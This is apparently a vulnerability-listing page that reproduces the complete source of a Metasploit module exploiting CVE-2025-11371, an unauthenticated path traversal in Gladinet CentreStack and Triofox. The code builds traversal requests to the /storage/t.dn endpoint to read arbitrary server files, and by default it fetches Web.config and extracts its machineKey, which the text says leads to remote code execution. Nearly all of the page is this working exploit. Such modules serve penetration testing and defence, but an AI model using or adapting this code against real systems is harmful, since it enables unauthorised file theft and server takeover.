METASPLOIT 9.8 CRITICAL

Gladinet CentreStack/Triofox Path Traversal_MSF:AUXILIARY-GATHER-GLADINET_STORAGE_PATH_TRAVERSAL_CVE_2025_11371-

9.8 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

This module exploits a path traversal vulnerability CVE-2025-11371 in Gladinet CentreStack and Triofox that allows an unauthenticated attacker to read arbitrary files from the server's file system. The vulnerability exists in the /storage/t.dn endpoint...
Visit Original Source

Basic Information

ID MSF:AUXILIARY-GATHER-GLADINET_STORAGE_PATH_TRAVERSAL_CVE_2025_11371-
Published Feb 4, 2026 at 18:58

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Gladinet
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Gladinet CentreStack/Triofox Path Traversal',
'Description' => %q{
This module exploits a path traversal vulnerability (CVE-2025-11371) in
Gladinet CentreStack and Triofox that allows an unauthenticated attacker to read
arbitrary files from the server's file system.

The vulnerability exists in the `/storage/t.dn` endpoint which does not properly
sanitize the `s` parameter, allowing path traversal attacks. This can be used
to read sensitive files such as Web.config which contains the machineKey used for
ViewState deserialization attacks (CVE-2025-30406).

Gladinet CentreStack versions up to 16.10.10408.56683 are vulnerable.
Gladinet Triofox versions up to 16.10.10408.56683 are vulnerable.
},
'Author' => [
'Huntress Team', # Vulnerability discovery
'Valentin Lobstein <chocapikk[at]leakix.net>', # Metasploit module
'Julien Voisin', # Review
'jheysel-r7' # Review
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-11371'],
['URL', 'https://www.huntress.com/blog/cve-2025-30406-critical-gladinet-centrestack-triofox-vulnerability-exploited-in-the-wild']
],
'DisclosureDate' => '2025-04-03',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
},
'Actions' => [
['READ_FILE', { 'Description' => 'Read an arbitrary file from the target' }],
['EXTRACT_MACHINEKEY', { 'Description' => 'Read Web.config and extract the machineKey for RCE' }]
],
'DefaultAction' => 'EXTRACT_MACHINEKEY'
)
)

register_options([
OptString.new('TARGETURI', [true, 'The base path to the Gladinet CentreStack or Triofox application', '/']),
OptString.new('FILEPATH', [true, 'The file to read on the target', 'Program Files (x86)\\Gladinet Cloud Enterprise\\root\\Web.config']),
OptString.new('DEPTH', [true, 'Path traversal depth (number of ..\\ sequences)', '..\\..\\..\\'])
])
end

def build_traversal_path(file_path)
# Remove C:\ prefix if present (path traversal doesn't work with drive letters)
normalized_path = file_path.gsub(/^[A-Z]:\\/, '').gsub(/^[A-Z]:/, '')
"#{datastore['DEPTH']}#{normalized_path.gsub(' ', '+')}"
end

def send_traversal_request(file_path)
traversal_path = build_traversal_path(file_path)

send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'storage', 't.dn'),
'vars_get' => { 's' => traversal_path, 'sid' => '1' },
'encode_params' => false
})
end

def check
version = gladinet_version
return Exploit::CheckCode::Detected('Gladinet detected but version could not be determined') if version.nil?

rex_version = Rex::Version.new(version)
return Exploit::CheckCode::Vulnerable("Path traversal vulnerability confirmed (Build #{version})") if rex_version <= Rex::Version.new('16.10.10408.56683')

Exploit::CheckCode::Detected("Version #{version} detected, attempting path traversal anyway")
end

def read_file(file_path)
print_status("Attempting to read file via path traversal: #{file_path}")

res = send_traversal_request(file_path)
return nil unless res&.code == 200

res.body
end

def run
case action.name
when 'READ_FILE'
run_read_file
when 'EXTRACT_MACHINEKEY'
run_extract_machinekey
end
end

def run_read_file
file_content = read_file(datastore['FILEPATH'])
return print_error('Failed to read file via path traversal') if file_content.nil? || file_content.empty?

print_good("Successfully read file: #{datastore['FILEPATH']}")
print_line
print_line(file_content)
print_line

fname = File.basename(datastore['FILEPATH'])
path = store_loot(
'gladinet.file',
'text/plain',
datastore['RHOST'],
file_content,
fname,
'File read from Gladinet via path traversal (CVE-2025-11371)'
)
print_good("File saved to: #{path}")
end

def run_extract_machinekey
file_content = read_file(datastore['FILEPATH'])
return print_error('Failed to read file via path traversal') if file_content.nil? || file_content.empty?

print_good("Successfully read file: #{datastore['FILEPATH']}")
print_line
print_line(file_content)
print_line

fname = File.basename(datastore['FILEPATH'])
path = store_loot(
'gladinet.file',
'text/plain',
datastore['RHOST'],
file_content,
fname,
'File read from Gladinet via path traversal (CVE-2025-11371)'
)
print_good("File saved to: #{path}")

handle_machinekey_extraction(file_content, datastore['FILEPATH'], 'MachineKey extracted from Gladinet Web.config (CVE-2025-11371)')
end
end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.